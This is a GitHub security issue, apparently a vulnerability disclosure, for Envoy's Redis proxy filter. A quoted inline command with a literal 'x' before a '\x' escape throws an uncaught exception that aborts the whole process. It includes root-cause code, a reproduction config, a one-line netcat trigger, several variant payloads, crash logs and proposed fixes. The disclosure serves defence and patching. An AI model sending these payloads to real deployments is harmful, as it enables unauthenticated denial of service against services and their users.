Skip to content

Uncaught exception in Redis proxy inline command parser #46642

Description

@yanavlasov

Originally reported by @morph3


Affected versions

  • All releases from v1.31.0 (2024-05, introducing commit 8bc2e91 "redis: add support for inline commands (redis: add support for inline commands #32380)") through v1.39.0 (latest) and main (verified at 8f77c4a).
  • Verified live against official images: envoyproxy/envoy:v1.35-latest (1.35.13) and envoyproxy/envoy:v1.39-latest (1.39.0 release build) — both abort with exit code 133 after a single packet.

Description

Summary

An unauthenticated client can crash any Envoy process that exposes a envoy.filters.network.redis_proxy listener by sending a single inline Redis command containing a double-quoted argument with a literal x followed by a \x hex escape. The parser throws std::invalid_argument (from std::stoul), which escapes the filter chain (only Redis::ProtocolError is caught), unwinds through libevent C frames, and reaches std::terminate, aborting the entire Envoy process — all workers, all listeners, all in-flight traffic.

Root cause

source/extensions/filters/network/common/redis/codec_impl.cc,
DecoderImpl::parseSlice,
State::InlineStringQuotedEscapeHex:

s.push_back(buffer[0]);                     // append one hex digit
if (s[s.size() - 3] == 'x') {               // checks 3-back for the escape marker
  char c = static_cast<char>(std::stoul(&s[s.size() - 2], nullptr, 16));
  ...
}

The escape marker 'x' itself is pushed onto the value string when entering the state, so after one hex digit the completion test scans 3 characters back and can match a literal 'x' that was already part of the user's argument. It then calls std::stoul on a string starting with the escape-marker x, which throws std::invalid_argument.

Trace for input SET key "x\x41":
s="x" (literal) → escape 'x' pushed (s="xx") → hex digit '4'
(s="xx4") → s[0]=='x' true → stoul("x4") → throw.

Exception sinks catch only Common::Redis::ProtocolError (anEnvoyException): redis_proxy/proxy_filter.cc:467-471 and common/redis/client_impl.cc:309. The exception reaches source/exe/terminate_handler.cc:36 ("std::terminate called! Uncaught unknown exception") and the process aborts (observed exit code 133 under Docker).

Secondary latent defect on the same line: when \x is the first content of a quoted argument, after one hex digit s.size()==2, so s[s.size()-3] == operator[](SIZE_MAX) — a 1-byte out-of-bounds read immediately before the string storage (fixed offset, currently benign; fix in the same patch).

Reproduction (100% deterministic, pre-AUTH, no backend needed)

redis-envoy.yaml,

# Minimal Envoy config exposing the redis_proxy filter for F1 verification.
# Listener 16379 -> redis_proxy -> (declared cluster unused by the crash path;
# the bug fires during inline-command decode, before any upstream dispatch).
admin:
  address:
    socket_address: { address: 0.0.0.0, port_value: 9901 }

static_resources:
  listeners:
    - name: redis_16379
      address:
        socket_address: { address: 0.0.0.0, port_value: 16379 }
      filter_chains:
        - filters:
            - name: envoy.filters.network.redis_proxy
              typed_config:
                "@type": type.googleapis.com/envoy.extensions.filters.network.redis_proxy.v3.RedisProxy
                stat_prefix: redis_stats
                settings:
                  op_timeout: 5s
                prefix_routes:
                  catch_all_route:
                    cluster: redis_backend
  clusters:
    - name: redis_backend
      type: STATIC
      lb_policy: ROUND_ROBIN
      load_assignment:
        cluster_name: redis_backend
        endpoints:
          - lb_endpoints:
              - endpoint:
                  address:
                    socket_address: { address: 127.0.0.1, port_value: 9999 }
docker run -d --name envoyredis -p 16379:16379 \
  -v "$PWD/redis-envoy.yaml:/etc/envoy/envoy.yaml:ro" \
  envoyproxy/envoy:v1.39-latest envoy -c /etc/envoy/envoy.yaml
printf 'SET key "x\\x41"\r\n' | nc localhost 16379
docker ps -a | grep envoyredis          # -> Exited (133)
docker logs envoyredis | grep terminate # -> terminate_handler.cc:36

docker logs -f 12,

[2026-08-01 01:12:09.545][41][critical][main] [source/exe/terminate_handler.cc:36] std::terminate called! Uncaught unknown exception, see trace.
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:145] Backtrace (use tools/stack_decode.py to get line numbers):
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:146] Envoy version: 9aed67d36497690a0d0dc65305ab823927441b77/1.39.0/Clean/RELEASE/BoringSSL
[2026-08-01 01:12:09.545][41][critical][backtrace] [./source/server/backtrace.h:148] Address mapping: aaaab6640000-aaaaba1af000 /usr/local/bin/envoy
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #0: [0xaaaab8f1aac4]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #1: [0xaaaaba14d134]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #2: [0xaaaaba14f4dc]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #3: [0xaaaaba14f4bc]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #4: [0xaaaaba10bfd0]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #5: [0xaaaaba10b01c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #6: [0xaaaab6f152d8]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #7: [0xaaaab6f13a48]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #8: [0xaaaab6e7845c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #9: [0xaaaab9896c28]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #10: [0xaaaab988e588]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #11: [0xaaaab988a6b8]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #12: [0xaaaab9893da4]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #13: [0xaaaab987be84]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #14: [0xaaaab987cd6c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #15: [0xaaaab9bb4514]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #16: [0xaaaab9bb2f44]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #17: [0xaaaab8f6dc4c]
[2026-08-01 01:12:09.561][41][critical][backtrace] [./source/server/backtrace.h:155] #18: [0xaaaab9bcbf3c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #19: [0xffffa9220398]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:161] Caught Aborted, suspect faulting address 0x6500000001
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:145] Backtrace (use tools/stack_decode.py to get line numbers):
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:146] Envoy version: 9aed67d36497690a0d0dc65305ab823927441b77/1.39.0/Clean/RELEASE/BoringSSL
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:148] Address mapping: aaaab6640000-aaaaba1af000 /usr/local/bin/envoy
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #0: __kernel_rt_sigreturn [0xffffa948f7e8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #1: gsignal [0xffffa91da83c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:153] #2: abort [0xffffa91c7134]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #3: [0xaaaab8f1aad0]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #4: [0xaaaaba14d134]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #5: [0xaaaaba14f4dc]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #6: [0xaaaaba14f4bc]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #7: [0xaaaaba10bfd0]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #8: [0xaaaaba10b01c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #9: [0xaaaab6f152d8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #10: [0xaaaab6f13a48]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #11: [0xaaaab6e7845c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #12: [0xaaaab9896c28]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #13: [0xaaaab988e588]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #14: [0xaaaab988a6b8]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #15: [0xaaaab9893da4]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #16: [0xaaaab987be84]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #17: [0xaaaab987cd6c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #18: [0xaaaab9bb4514]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #19: [0xaaaab9bb2f44]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #20: [0xaaaab8f6dc4c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #21: [0xaaaab9bcbf3c]
[2026-08-01 01:12:09.562][41][critical][backtrace] [./source/server/backtrace.h:155] #22: [0xffffa9220398]
ConnectionImpl 0x12fcffbc1e00, connecting_: 0, bind_error_: 0, state(): Open, read_buffer_limit_: 1048576
socket_:
  ListenSocketImpl 0x12fcff930700, transport_protocol_: raw_buffer
  connection_info_provider_:
    ConnectionInfoSetterImpl 0x12fcff94d358, remote_address_: 192.168.65.1:43026, direct_remote_address_: 192.168.65.1:43026, local_address_: 172.17.0.4:16379, server_name_:

Trigger variants (all crash): GET "x\x4", PING "ax\xff", any quoted argument containing a literal x before a \x<hexdigit> sequence in an inline command.

Impact & attack surface

Remote, unauthenticated denial of service of the entire Envoy process from a single packet, on any deployment fronting Redis with envoy's redis_proxy (common in Kubernetes cache tiers and service meshes). The parser runs on raw client bytes before authentication, before routing, and requires no backend Redis at all. The Redis RESP codec currently has no oss-fuzz coverage (no dedicated fuzz target or uber-fuzzer inclusion), which explains why the bug survived >2 years and 5 release trains.

Suggested fix

  1. In InlineStringQuotedEscapeHex, stop pushing the escape marker into the value; track hex-digit count and convert exactly two hex digits (matching Redis \xHH semantics).
  2. Defense in depth at the two filter callsites: catch std::exception alongside ProtocolError and map to the existing protocol error path.
  3. Add the RESP codec to oss-fuzz. We have a working harness ready to contribute as a PR after disclosure (decoder-only, split delivery, seed corpus incl. this shape).

Credits

[morph3] , I would like to submit a PR fixing this as well !

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions